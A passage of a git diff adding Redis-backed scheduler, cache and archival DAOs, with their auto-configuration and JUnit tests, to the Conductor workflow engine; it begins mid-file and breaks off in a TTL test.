.collect(Collectors.toList()); + return new SearchResult<>(totalHits, ids); + } + + @Override + public Map getExecutionsByIds( + Set executionIds) { + Monitors.recordDaoRequests(DAO_NAME, "getExecutionsByIds", "n/a", "n/a"); + if (executionIds == null || executionIds.isEmpty()) { + return new HashMap<>(); + } + Map result = new HashMap<>(); + for (String id : executionIds) { + String json = jedisProxy.get(archivalKey(id)); + if (json != null) { + result.put(id, readValue(json, WorkflowScheduleExecutionModel.class)); + } + } + return result; + } + + @Override + public WorkflowScheduleExecutionModel getExecutionById(String executionId) { + Monitors.recordDaoRequests(DAO_NAME, "getExecutionById", "n/a", "n/a"); + String json = jedisProxy.get(archivalKey(executionId)); + return json == null ? null : readValue(json, WorkflowScheduleExecutionModel.class); + } + + @Override + public void cleanupOldRecords(int archivalMaxRecords, int archivalMaxRecordThreshold) { + Monitors.recordDaoRequests(DAO_NAME, "cleanupOldRecords", "n/a", "n/a"); + Set scheduleNames = jedisProxy.smembers(keySchedNames()); + if (scheduleNames == null) { + return; + } + + for (String scheduleName : scheduleNames) { + String schedKey = archivalSchedKey(scheduleName); + + // First, prune stale entries (expired keys) from the sorted set using batch check + List allIds = jedisProxy.zrange(schedKey, 0, -1); + if (!allIds.isEmpty()) { + String[] keys = allIds.stream().map(this::archivalKey).toArray(String[]::new); + List values = jedisProxy.mget(keys); + for (int i = 0; i < allIds.size(); i++) { + if (values.get(i) == null) { + jedisProxy.zrem(schedKey, allIds.get(i)); + } + } + } + + Long count = jedisProxy.zcard(schedKey); + if (count == null || count <= archivalMaxRecordThreshold) { + continue; + } + + // Refetch after pruning + allIds = jedisProxy.zrange(schedKey, 0, -1); + if (allIds.size() <= archivalMaxRecords) { + continue; + } + + int toDeleteCount = allIds.size() - archivalMaxRecords; + List toDelete = allIds.subList(0, toDeleteCount); + + for (String execId : toDelete) { + jedisProxy.zrem(schedKey, execId); + jedisProxy.del(archivalKey(execId)); + } + log.info( + "Cleaned up {} old archival records for schedule: {}", + toDelete.size(), + scheduleName); + } + } + + /** Returns only the IDs whose backing string key still exists (not expired). */ + private List filterLive(List ids) { + if (ids.isEmpty()) { + return new ArrayList<>(); + } + String[] keys = ids.stream().map(this::archivalKey).toArray(String[]::new); + List values = jedisProxy.mget(keys); + List live = new ArrayList<>(); + for (int i = 0; i < ids.size(); i++) { + if (values.get(i) != null) { + live.add(ids.get(i)); + } + } + return live; + } +} diff --git a/scheduler/redis-persistence/src/main/java/org/conductoross/conductor/scheduler/redis/dao/RedisSchedulerCacheDAO.java b/scheduler/redis-persistence/src/main/java/org/conductoross/conductor/scheduler/redis/dao/RedisSchedulerCacheDAO.java new file mode 100644 index 0000000..ab6d75a --- /dev/null +++ b/scheduler/redis-persistence/src/main/java/org/conductoross/conductor/scheduler/redis/dao/RedisSchedulerCacheDAO.java @@ -0,0 +1,90 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.scheduler.redis.dao; + +import org.apache.commons.lang3.StringUtils; + +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.redis.config.RedisProperties; +import com.netflix.conductor.redis.dao.BaseDynoDAO; +import com.netflix.conductor.redis.jedis.JedisProxy; + +import com.fasterxml.jackson.databind.ObjectMapper; +import io.orkes.conductor.dao.scheduler.SchedulerCacheDAO; +import io.orkes.conductor.scheduler.model.WorkflowScheduleModel; + +/** + * Redis-backed implementation of {@link SchedulerCacheDAO}. Intended to sit in front of a SQL + * primary store (Postgres/MySQL) to avoid DB round-trips on the hot polling path. + * + *

    Key layout (matches Orkes Conductor for drop-in compatibility): + * + *

      + *
    • {@code WORKFLOW_SCHEDULES} — Hash: scheduleName → JSON + *
    • {@code WORKFLOW_SCHEDULES_RUNTIME:{scheduleName}} — String: epoch millis + *
    + */ +public class RedisSchedulerCacheDAO extends BaseDynoDAO implements SchedulerCacheDAO { + + private static final String ALL_WORKFLOW_SCHEDULES = "WORKFLOW_SCHEDULES"; + private static final String WORKFLOW_SCHEDULES_RUNTIME = "WORKFLOW_SCHEDULES_RUNTIME"; + + public RedisSchedulerCacheDAO( + JedisProxy jedisProxy, + ObjectMapper objectMapper, + ConductorProperties conductorProperties, + RedisProperties redisProperties) { + super(jedisProxy, objectMapper, conductorProperties, redisProperties); + } + + @Override + public void updateSchedule(WorkflowScheduleModel workflowSchedule) { + jedisProxy.hset( + nsKey(ALL_WORKFLOW_SCHEDULES), + workflowSchedule.getName(), + toJson(workflowSchedule)); + } + + @Override + public WorkflowScheduleModel findScheduleByName(String name) { + String json = jedisProxy.hget(nsKey(ALL_WORKFLOW_SCHEDULES), name); + if (json == null) { + return null; + } + return readValue(json, WorkflowScheduleModel.class); + } + + @Override + public boolean exists(String name) { + return jedisProxy.hget(nsKey(ALL_WORKFLOW_SCHEDULES), name) != null; + } + + @Override + public void deleteWorkflowSchedule(String name) { + jedisProxy.hdel(nsKey(ALL_WORKFLOW_SCHEDULES), name); + } + + @Override + public long getNextRunTimeInEpoch(String scheduleName) { + String value = jedisProxy.get(nsKey(WORKFLOW_SCHEDULES_RUNTIME, scheduleName)); + if (StringUtils.isBlank(value)) { + return -1L; + } + return Long.parseLong(value); + } + + @Override + public void setNextRunTimeInEpoch(String scheduleName, long epochMilli) { + jedisProxy.set(nsKey(WORKFLOW_SCHEDULES_RUNTIME, scheduleName), Long.toString(epochMilli)); + } +} diff --git a/scheduler/redis-persistence/src/main/java/org/conductoross/conductor/scheduler/redis/dao/RedisSchedulerDAO.java b/scheduler/redis-persistence/src/main/java/org/conductoross/conductor/scheduler/redis/dao/RedisSchedulerDAO.java new file mode 100644 index 0000000..ee7e434 --- /dev/null +++ b/scheduler/redis-persistence/src/main/java/org/conductoross/conductor/scheduler/redis/dao/RedisSchedulerDAO.java @@ -0,0 +1,336 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.scheduler.redis.dao; + +import java.util.*; +import java.util.stream.Collectors; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.metrics.Monitors; +import com.netflix.conductor.redis.config.RedisProperties; +import com.netflix.conductor.redis.dao.BaseDynoDAO; +import com.netflix.conductor.redis.jedis.JedisProxy; + +import com.fasterxml.jackson.databind.ObjectMapper; +import io.orkes.conductor.dao.scheduler.SchedulerDAO; +import io.orkes.conductor.scheduler.model.WorkflowScheduleExecutionModel; +import io.orkes.conductor.scheduler.model.WorkflowScheduleModel; + +/** + * Redis implementation of {@link SchedulerDAO}. + * + *

    Extends {@link BaseDynoDAO} for jedis/objectMapper management. Data model: + * + *

      + *
    • SCHEDULER.DEFS — Hash: scheduleName → JSON + *
    • SCHEDULER.ALL — Set: all schedule names + *
    • SCHEDULER.WF:{workflowName} — Set: schedule names using this workflow + *
    • SCHEDULER.NEXT_RUN — Hash: scheduleName → epoch millis string + *
    • SCHEDULER.EXEC — Hash: executionId → JSON + *
    • SCHEDULER.EXEC_SCHED:{scheduleName} — Set: execution IDs for this schedule + *
    • SCHEDULER.PENDING — Set: execution IDs in POLLED state + *
    + */ +public class RedisSchedulerDAO extends BaseDynoDAO implements SchedulerDAO { + + private static final Logger log = LoggerFactory.getLogger(RedisSchedulerDAO.class); + + private static final String SCHEDULER_DEFS = "SCHEDULER.DEFS"; + private static final String SCHEDULER_ALL = "SCHEDULER.ALL"; + private static final String SCHEDULER_NEXT_RUN = "SCHEDULER.NEXT_RUN"; + private static final String SCHEDULER_EXEC = "SCHEDULER.EXEC"; + private static final String SCHEDULER_PENDING = "SCHEDULER.PENDING"; + private static final String SCHEDULER_WF_PREFIX = "SCHEDULER.WF"; + private static final String SCHEDULER_EXEC_SCHED_PREFIX = "SCHEDULER.EXEC_SCHED"; + + private static final String DAO_NAME = "redis"; + + public RedisSchedulerDAO( + JedisProxy jedisProxy, + ObjectMapper objectMapper, + ConductorProperties conductorProperties, + RedisProperties redisProperties) { + super(jedisProxy, objectMapper, conductorProperties, redisProperties); + } + + private String keyDefs() { + return nsKey(SCHEDULER_DEFS); + } + + private String keyAll() { + return nsKey(SCHEDULER_ALL); + } + + private String keyNextRun() { + return nsKey(SCHEDULER_NEXT_RUN); + } + + private String keyExec() { + return nsKey(SCHEDULER_EXEC); + } + + private String keyPending() { + return nsKey(SCHEDULER_PENDING); + } + + private String wfIndexKey(String workflowName) { + return nsKey(SCHEDULER_WF_PREFIX, workflowName); + } + + private String execSchedKey(String scheduleName) { + return nsKey(SCHEDULER_EXEC_SCHED_PREFIX, scheduleName); + } + + // ========================================================================= + // Schedule CRUD + // ========================================================================= + + @Override + public void updateSchedule(WorkflowScheduleModel schedule) { + Monitors.recordDaoRequests(DAO_NAME, "updateSchedule", "n/a", "n/a"); + String name = schedule.getName(); + + // Remove from old workflow index if workflow name changed + String oldJson = jedisProxy.hget(keyDefs(), name); + if (oldJson != null) { + WorkflowScheduleModel old = readValue(oldJson, WorkflowScheduleModel.class); + if (old.getStartWorkflowRequest() != null) { + String oldWfName = old.getStartWorkflowRequest().getName(); + String newWfName = + schedule.getStartWorkflowRequest() != null + ? schedule.getStartWorkflowRequest().getName() + : null; + if (oldWfName != null && !oldWfName.equals(newWfName)) { + jedisProxy.srem(wfIndexKey(oldWfName), name); + } + } + } + + jedisProxy.hset(keyDefs(), name, toJson(schedule)); + jedisProxy.sadd(keyAll(), name); + + if (schedule.getStartWorkflowRequest() != null + && schedule.getStartWorkflowRequest().getName() != null) { + jedisProxy.sadd(wfIndexKey(schedule.getStartWorkflowRequest().getName()), name); + } + + // Sync next_run_time + if (schedule.getNextRunTime() != null) { + jedisProxy.hset(keyNextRun(), name, String.valueOf(schedule.getNextRunTime())); + } else { + jedisProxy.hdel(keyNextRun(), name); + } + } + + @Override + public WorkflowScheduleModel findScheduleByName(String name) { + Monitors.recordDaoRequests(DAO_NAME, "findScheduleByName", "n/a", "n/a"); + String json = jedisProxy.hget(keyDefs(), name); + return json == null ? null : readValue(json, WorkflowScheduleModel.class); + } + + @Override + public List getAllSchedules() { + Monitors.recordDaoRequests(DAO_NAME, "getAllSchedules", "n/a", "n/a"); + Map all = jedisProxy.hgetAll(keyDefs()); + return all.values().stream() + .map(json -> readValue(json, WorkflowScheduleModel.class)) + .collect(Collectors.toList()); + } + + @Override + public List findAllSchedules(String workflowName) { + Monitors.recordDaoRequests(DAO_NAME, "findAllSchedules", "n/a", "n/a"); + Set names = jedisProxy.smembers(wfIndexKey(workflowName)); + if (names == null || names.isEmpty()) { + return List.of(); + } + List result = new ArrayList<>(); + for (String name : names) { + String json = jedisProxy.hget(keyDefs(), name); + if (json != null) { + result.add(readValue(json, WorkflowScheduleModel.class)); + } + } + return result; + } + + @Override + public Map findAllByNames(Set names) { + Monitors.recordDaoRequests(DAO_NAME, "findAllByNames", "n/a", "n/a"); + if (names == null || names.isEmpty()) { + return new HashMap<>(); + } + Map result = new HashMap<>(); + for (String name : names) { + String json = jedisProxy.hget(keyDefs(), name); + if (json != null) { + result.put(name, readValue(json, WorkflowScheduleModel.class)); + } + } + return result; + } + + @Override + public void deleteWorkflowSchedule(String name) { + Monitors.recordDaoRequests(DAO_NAME, "deleteWorkflowSchedule", "n/a", "n/a"); + + // NOTE: This method performs multiple independent Redis commands without transactional + // guarantees (no MULTI/EXEC). JedisProxy does not expose a transaction API, and no + // existing DAO in the codebase uses Redis transactions. If a crash occurs mid-operation, + // orphaned execution records or stale index entries may remain. The scheduler's periodic + // cleanup serves as an eventual consistency backstop. + + // Remove from workflow index + String json = jedisProxy.hget(keyDefs(), name); + if (json != null) { + WorkflowScheduleModel schedule = readValue(json, WorkflowScheduleModel.class); + if (schedule.getStartWorkflowRequest() != null + && schedule.getStartWorkflowRequest().getName() != null) { + jedisProxy.srem(wfIndexKey(schedule.getStartWorkflowRequest().getName()), name); + } + } + + // Delete all executions for this schedule + Set execIds = jedisProxy.smembers(execSchedKey(name)); + if (execIds != null) { + for (String execId : execIds) { + jedisProxy.hdel(keyExec(), execId); + jedisProxy.srem(keyPending(), execId); + } + } + jedisProxy.del(execSchedKey(name)); + + // Delete the schedule itself + jedisProxy.hdel(keyDefs(), name); + jedisProxy.srem(keyAll(), name); + jedisProxy.hdel(keyNextRun(), name); + } + + // ========================================================================= + // Execution records + // ========================================================================= + + @Override + public void saveExecutionRecord(WorkflowScheduleExecutionModel execution) { + Monitors.recordDaoRequests(DAO_NAME, "saveExecutionRecord", "n/a", "n/a"); + String execId = execution.getExecutionId(); + jedisProxy.hset(keyExec(), execId, toJson(execution)); + jedisProxy.sadd(execSchedKey(execution.getScheduleName()), execId); + + if (execution.getState() == WorkflowScheduleExecutionModel.State.POLLED) { + jedisProxy.sadd(keyPending(), execId); + } else { + jedisProxy.srem(keyPending(), execId); + } + } + + @Override + public WorkflowScheduleExecutionModel readExecutionRecord(String executionId) { + Monitors.recordDaoRequests(DAO_NAME, "readExecutionRecord", "n/a", "n/a"); + String json = jedisProxy.hget(keyExec(), executionId); + return json == null ? null : readValue(json, WorkflowScheduleExecutionModel.class); + } + + @Override + public void removeExecutionRecord(String executionId) { + Monitors.recordDaoRequests(DAO_NAME, "removeExecutionRecord", "n/a", "n/a"); + String json = jedisProxy.hget(keyExec(), executionId); + if (json != null) { + WorkflowScheduleExecutionModel exec = + readValue(json, WorkflowScheduleExecutionModel.class); + jedisProxy.srem(execSchedKey(exec.getScheduleName()), executionId); + } + jedisProxy.hdel(keyExec(), executionId); + jedisProxy.srem(keyPending(), executionId); + } + + @Override + public List getPendingExecutionRecordIds() { + Monitors.recordDaoRequests(DAO_NAME, "getPendingExecutionRecordIds", "n/a", "n/a"); + Set pending = jedisProxy.smembers(keyPending()); + return pending == null ? List.of() : new ArrayList<>(pending); + } + + // ========================================================================= + // Next-run time + // ========================================================================= + + @Override + public long getNextRunTimeInEpoch(String scheduleName) { + Monitors.recordDaoRequests(DAO_NAME, "getNextRunTimeInEpoch", "n/a", "n/a"); + String val = jedisProxy.hget(keyNextRun(), scheduleName); + if (val == null) { + return -1L; + } + return Long.parseLong(val); + } + + @Override + public void setNextRunTimeInEpoch(String scheduleName, long epochMillis) { + Monitors.recordDaoRequests(DAO_NAME, "setNextRunTimeInEpoch", "n/a", "n/a"); + // Store for any key: multi-cron schedules key by JSON payload strings (not schedule names) + // so the previous hexists(SCHEDULER.DEFS) guard silently dropped those writes. + jedisProxy.hset(keyNextRun(), scheduleName, String.valueOf(epochMillis)); + } + + // ========================================================================= + // Search + // ========================================================================= + + @Override + public SearchResult searchSchedules( + String workflowName, + String scheduleName, + Boolean paused, + String freeText, + int start, + int size, + List sortOptions) { + Monitors.recordDaoRequests(DAO_NAME, "searchSchedules", "n/a", "n/a"); + List all = getAllSchedules(); + List filtered = + all.stream() + .filter( + s -> { + if (workflowName != null + && !workflowName.isEmpty() + && s.getStartWorkflowRequest() != null + && !workflowName.equals( + s.getStartWorkflowRequest().getName())) { + return false; + } + if (scheduleName != null + && !scheduleName.isEmpty() + && !s.getName().contains(scheduleName)) { + return false; + } + if (paused != null && s.isPaused() != paused) { + return false; + } + return true; + }) + .sorted(Comparator.comparing(WorkflowScheduleModel::getName)) + .collect(Collectors.toList()); + + long totalHits = filtered.size(); + int end = Math.min(start + size, filtered.size()); + List page = + start < filtered.size() ? filtered.subList(start, end) : List.of(); + return new SearchResult<>(totalHits, page); + } +} diff --git a/scheduler/redis-persistence/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports b/scheduler/redis-persistence/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports new file mode 100644 index 0000000..5f15215 --- /dev/null +++ b/scheduler/redis-persistence/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.AutoConfiguration.imports @@ -0,0 +1 @@ +org.conductoross.conductor.scheduler.redis.config.RedisSchedulerConfiguration diff --git a/scheduler/redis-persistence/src/test/java/org/conductoross/conductor/scheduler/redis/config/RedisSchedulerAutoConfigurationTest.java b/scheduler/redis-persistence/src/test/java/org/conductoross/conductor/scheduler/redis/config/RedisSchedulerAutoConfigurationTest.java new file mode 100644 index 0000000..d6b0a58 --- /dev/null +++ b/scheduler/redis-persistence/src/test/java/org/conductoross/conductor/scheduler/redis/config/RedisSchedulerAutoConfigurationTest.java @@ -0,0 +1,156 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.scheduler.redis.config; + +import org.junit.Test; +import org.springframework.boot.autoconfigure.AutoConfigurations; +import org.springframework.boot.test.context.runner.ApplicationContextRunner; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.redis.config.RedisProperties; +import com.netflix.conductor.redis.jedis.JedisProxy; + +import com.fasterxml.jackson.databind.ObjectMapper; +import io.orkes.conductor.dao.archive.SchedulerArchivalDAO; +import io.orkes.conductor.dao.scheduler.SchedulerDAO; + +import static org.assertj.core.api.Assertions.assertThat; +import static org.mockito.Mockito.mock; + +public class RedisSchedulerAutoConfigurationTest { + + @Configuration + static class MockRedisBeans { + @Bean + public JedisProxy jedisProxy() { + return mock(JedisProxy.class); + } + + @Bean + public ConductorProperties conductorProperties() { + return new ConductorProperties(); + } + + @Bean + public RedisProperties redisProperties(ConductorProperties conductorProperties) { + return new RedisProperties(conductorProperties); + } + + @Bean + public ObjectMapper objectMapper() { + return new ObjectMapperProvider().getObjectMapper(); + } + } + + private ApplicationContextRunner baseRunner() { + return new ApplicationContextRunner() + .withConfiguration(AutoConfigurations.of(RedisSchedulerConfiguration.class)) + .withUserConfiguration(MockRedisBeans.class); + } + + @Test + public void testBeansRegistered_whenRedisStandaloneAndSchedulerEnabled() { + baseRunner() + .withPropertyValues( + "conductor.db.type=redis_standalone", "conductor.scheduler.enabled=true") + .run( + ctx -> { + assertThat(ctx).hasSingleBean(SchedulerDAO.class); + assertThat(ctx).hasSingleBean(SchedulerArchivalDAO.class); + }); + } + + @Test + public void testBeansRegistered_whenRedisCluster() { + baseRunner() + .withPropertyValues( + "conductor.db.type=redis_cluster", "conductor.scheduler.enabled=true") + .run( + ctx -> { + assertThat(ctx).hasSingleBean(SchedulerDAO.class); + assertThat(ctx).hasSingleBean(SchedulerArchivalDAO.class); + }); + } + + @Test + public void testBeansRegistered_whenRedisSentinel() { + baseRunner() + .withPropertyValues( + "conductor.db.type=redis_sentinel", "conductor.scheduler.enabled=true") + .run( + ctx -> { + assertThat(ctx).hasSingleBean(SchedulerDAO.class); + assertThat(ctx).hasSingleBean(SchedulerArchivalDAO.class); + }); + } + + @Test + public void testBeansRegistered_whenMemory() { + baseRunner() + .withPropertyValues("conductor.db.type=memory", "conductor.scheduler.enabled=true") + .run( + ctx -> { + assertThat(ctx).hasSingleBean(SchedulerDAO.class); + assertThat(ctx).hasSingleBean(SchedulerArchivalDAO.class); + }); + } + + @Test + public void testNoBeansRegistered_whenSchedulerEnabledMissing() { + baseRunner() + .withPropertyValues("conductor.db.type=redis_standalone") + .run( + ctx -> { + assertThat(ctx).doesNotHaveBean(SchedulerDAO.class); + assertThat(ctx).doesNotHaveBean(SchedulerArchivalDAO.class); + }); + } + + @Test + public void testNoBeansRegistered_whenSchedulerDisabled() { + baseRunner() + .withPropertyValues( + "conductor.db.type=redis_standalone", "conductor.scheduler.enabled=false") + .run( + ctx -> { + assertThat(ctx).doesNotHaveBean(SchedulerDAO.class); + assertThat(ctx).doesNotHaveBean(SchedulerArchivalDAO.class); + }); + } + + @Test + public void testNoBeansRegistered_whenDbTypeIsNotRedis() { + baseRunner() + .withPropertyValues( + "conductor.db.type=postgres", "conductor.scheduler.enabled=true") + .run( + ctx -> { + assertThat(ctx).doesNotHaveBean(SchedulerDAO.class); + assertThat(ctx).doesNotHaveBean(SchedulerArchivalDAO.class); + }); + } + + @Test + public void testNoBeansRegistered_whenDbTypeAbsent() { + baseRunner() + .withPropertyValues("conductor.scheduler.enabled=true") + .run( + ctx -> { + assertThat(ctx).doesNotHaveBean(SchedulerDAO.class); + assertThat(ctx).doesNotHaveBean(SchedulerArchivalDAO.class); + }); + } +} diff --git a/scheduler/redis-persistence/src/test/java/org/conductoross/conductor/scheduler/redis/dao/RedisSchedulerArchivalDAOTest.java b/scheduler/redis-persistence/src/test/java/org/conductoross/conductor/scheduler/redis/dao/RedisSchedulerArchivalDAOTest.java new file mode 100644 index 0000000..80e3696 --- /dev/null +++ b/scheduler/redis-persistence/src/test/java/org/conductoross/conductor/scheduler/redis/dao/RedisSchedulerArchivalDAOTest.java @@ -0,0 +1,323 @@ +/* + * Copyright 2026 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.scheduler.redis.dao; + +import java.util.*; + +import org.junit.*; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.utility.DockerImageName; + +import com.netflix.conductor.common.config.ObjectMapperProvider; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.run.SearchResult; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.redis.config.RedisProperties; +import com.netflix.conductor.redis.jedis.JedisProxy; +import com.netflix.conductor.redis.jedis.UnifiedJedisCommands; + +import com.fasterxml.jackson.databind.ObjectMapper; +import io.orkes.conductor.scheduler.model.WorkflowScheduleExecutionModel; +import redis.clients.jedis.JedisPooled; + +import static org.junit.Assert.*; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +public class RedisSchedulerArchivalDAOTest { + + @ClassRule + public static final GenericContainer redis = + new GenericContainer<>(DockerImageName.parse("redis:7-alpine")).withExposedPorts(6379); + + private static JedisPooled jedisPooled; + private static JedisProxy jedisProxy; + private static ObjectMapper objectMapper; + private static ConductorProperties conductorProperties; + private static RedisProperties redisProperties; + private RedisSchedulerArchivalDAO dao; + + @BeforeClass + public static void setUpOnce() { + jedisPooled = new JedisPooled(redis.getHost(), redis.getMappedPort(6379)); + jedisProxy = new JedisProxy(new UnifiedJedisCommands(jedisPooled)); + objectMapper = new ObjectMapperProvider().getObjectMapper(); + + conductorProperties = mock(ConductorProperties.class); + when(conductorProperties.getStack()).thenReturn(""); + + redisProperties = mock(RedisProperties.class); + when(redisProperties.getWorkflowNamespacePrefix()).thenReturn("test"); + when(redisProperties.getKeyspaceDomain()).thenReturn(""); + } + + @Before + public void setUp() { + jedisPooled.flushAll(); + dao = + new RedisSchedulerArchivalDAO( + jedisProxy, objectMapper, conductorProperties, redisProperties); + } + + @AfterClass + public static void tearDown() { + if (jedisPooled != null) { + jedisPooled.close(); + } + } + + // ========================================================================= + // Save and retrieve + // ========================================================================= + + @Test + public void testSaveAndGetById() { + WorkflowScheduleExecutionModel model = buildExecution("sched-1", "exec-1"); + dao.saveExecutionRecord(model); + + WorkflowScheduleExecutionModel found = dao.getExecutionById("exec-1"); + assertNotNull(found); + assertEquals("exec-1", found.getExecutionId()); + assertEquals("sched-1", found.getScheduleName()); + assertEquals("test-wf", found.getWorkflowName()); + assertEquals(WorkflowScheduleExecutionModel.State.EXECUTED, found.getState()); + } + + @Test + public void testGetById_notFound_returnsNull() { + assertNull(dao.getExecutionById("no-such-id")); + } + + @Test + public void testSaveAndGetByIds() { + dao.saveExecutionRecord(buildExecution("sched-1", "exec-a")); + dao.saveExecutionRecord(buildExecution("sched-1", "exec-b")); + dao.saveExecutionRecord(buildExecution("sched-2", "exec-c")); + + Map result = + dao.getExecutionsByIds(Set.of("exec-a", "exec-c", "no-such")); + assertEquals(2, result.size()); + assertTrue(result.containsKey("exec-a")); + assertTrue(result.containsKey("exec-c")); + } + + @Test + public void testGetByIds_emptySet_returnsEmpty() { + assertTrue(dao.getExecutionsByIds(Set.of()).isEmpty()); + } + + @Test + public void testGetByIds_nullSet_returnsEmpty() { + assertTrue(dao.getExecutionsByIds(null).isEmpty()); + } + + // ========================================================================= + // Round-trip fidelity + // ========================================================================= + + @Test + public void testRoundTrip_allFields() { + StartWorkflowRequest req = new StartWorkflowRequest(); + req.setName("my-wf"); + req.setVersion(3); + + WorkflowScheduleExecutionModel model = new WorkflowScheduleExecutionModel(); + model.setExecutionId("rt-exec"); + model.setScheduleName("rt-sched"); + model.setWorkflowName("my-wf"); + model.setWorkflowId("wf-instance-789"); + model.setReason("Timeout exceeded"); + model.setStackTrace("java.lang.RuntimeException: Timeout\n\tat Foo.bar(Foo.java:42)"); + model.setState(WorkflowScheduleExecutionModel.State.FAILED); + model.setScheduledTime(1000000L); + model.setExecutionTime(1000500L); + model.setStartWorkflowRequest(req); + + dao.saveExecutionRecord(model); + + WorkflowScheduleExecutionModel found = dao.getExecutionById("rt-exec"); + assertNotNull(found); + assertEquals("rt-sched", found.getScheduleName()); + assertEquals("my-wf", found.getWorkflowName()); + assertEquals("wf-instance-789", found.getWorkflowId()); + assertEquals("Timeout exceeded", found.getReason()); + assertTrue(found.getStackTrace().contains("RuntimeException")); + assertEquals(WorkflowScheduleExecutionModel.State.FAILED, found.getState()); + assertEquals(Long.valueOf(1000000L), found.getScheduledTime()); + assertEquals(Long.valueOf(1000500L), found.getExecutionTime()); + assertNotNull(found.getStartWorkflowRequest()); + assertEquals("my-wf", found.getStartWorkflowRequest().getName()); + assertEquals(Integer.valueOf(3), found.getStartWorkflowRequest().getVersion()); + } + + // ========================================================================= + // Search + // ========================================================================= + + @Test + public void testSearch_byScheduleName() { + dao.saveExecutionRecord(buildExecution("sched-a", "e1")); + dao.saveExecutionRecord(buildExecution("sched-a", "e2")); + dao.saveExecutionRecord(buildExecution("sched-b", "e3")); + + SearchResult result = dao.searchScheduledExecutions("sched-a", null, 0, 10, null); + assertEquals(2, result.getTotalHits()); + assertTrue(result.getResults().contains("e1")); + assertTrue(result.getResults().contains("e2")); + } + + @Test + public void testSearch_byWorkflowName() { + WorkflowScheduleExecutionModel e1 = buildExecution("wn-sched", "e-wn1"); + e1.setWorkflowName("payment-processor"); + dao.saveExecutionRecord(e1); + + WorkflowScheduleExecutionModel e2 = buildExecution("wn-sched", "e-wn2"); + e2.setWorkflowName("order-fulfillment"); + dao.saveExecutionRecord(e2); + + SearchResult result = + dao.searchScheduledExecutions("workflowName=payment", null, 0, 10, null); + assertEquals(1, result.getTotalHits()); + assertEquals("e-wn1", result.getResults().get(0)); + } + + @Test + public void testSearch_byExecutionId() { + dao.saveExecutionRecord(buildExecution("eid-sched", "exact-id-123")); + dao.saveExecutionRecord(buildExecution("eid-sched", "exact-id-456")); + + SearchResult result = + dao.searchScheduledExecutions("executionId=exact-id-123", null, 0, 10, null); + assertEquals(1, result.getTotalHits()); + assertEquals("exact-id-123", result.getResults().get(0)); + } + + @Test + public void testSearch_wildcard_returnsAll() { + dao.saveExecutionRecord(buildExecution("sched-1", "e1")); + dao.saveExecutionRecord(buildExecution("sched-2", "e2")); + + SearchResult result = dao.searchScheduledExecutions(null, "*", 0, 10, null); + assertEquals(2, result.getTotalHits()); + } + + @Test + public void testSearch_pagination() { + for (int i = 0; i < 5; i++) { + WorkflowScheduleExecutionModel exec = buildExecution("page-sched", "page-" + i); + exec.setScheduledTime(System.currentTimeMillis() + i * 1000L); + dao.saveExecutionRecord(exec); + } + + SearchResult page1 = dao.searchScheduledExecutions("page-sched", null, 0, 2, null); + assertEquals(5, page1.getTotalHits()); + assertEquals(2, page1.getResults().size()); + + SearchResult page2 = dao.searchScheduledExecutions("page-sched", null, 2, 2, null); + assertEquals(5, page2.getTotalHits()); + assertEquals(2, page2.getResults().size()); + } + + // ========================================================================= + // Cleanup + // ========================================================================= + + @Test + public void testCleanupOldRecords() { + for (int i = 0; i < 10; i++) { + WorkflowScheduleExecutionModel exec = buildExecution("cleanup-sched", "cleanup-" + i); + exec.setScheduledTime(1000000L + i * 1000L); + dao.saveExecutionRecord(exec); + } + + // Keep only 3 records, threshold at 5 (count=10 > threshold=5, so cleanup triggers) + dao.cleanupOldRecords(3, 5); + + SearchResult result = + dao.searchScheduledExecutions("cleanup-sched", null, 0, 20, null); + assertEquals(3, result.getTotalHits()); + } + + // ========================================================================= + // TTL + // ========================================================================= + + @Test + public void testTtl_recordsExpireAfterTtl() throws Exception { + // Create a DAO 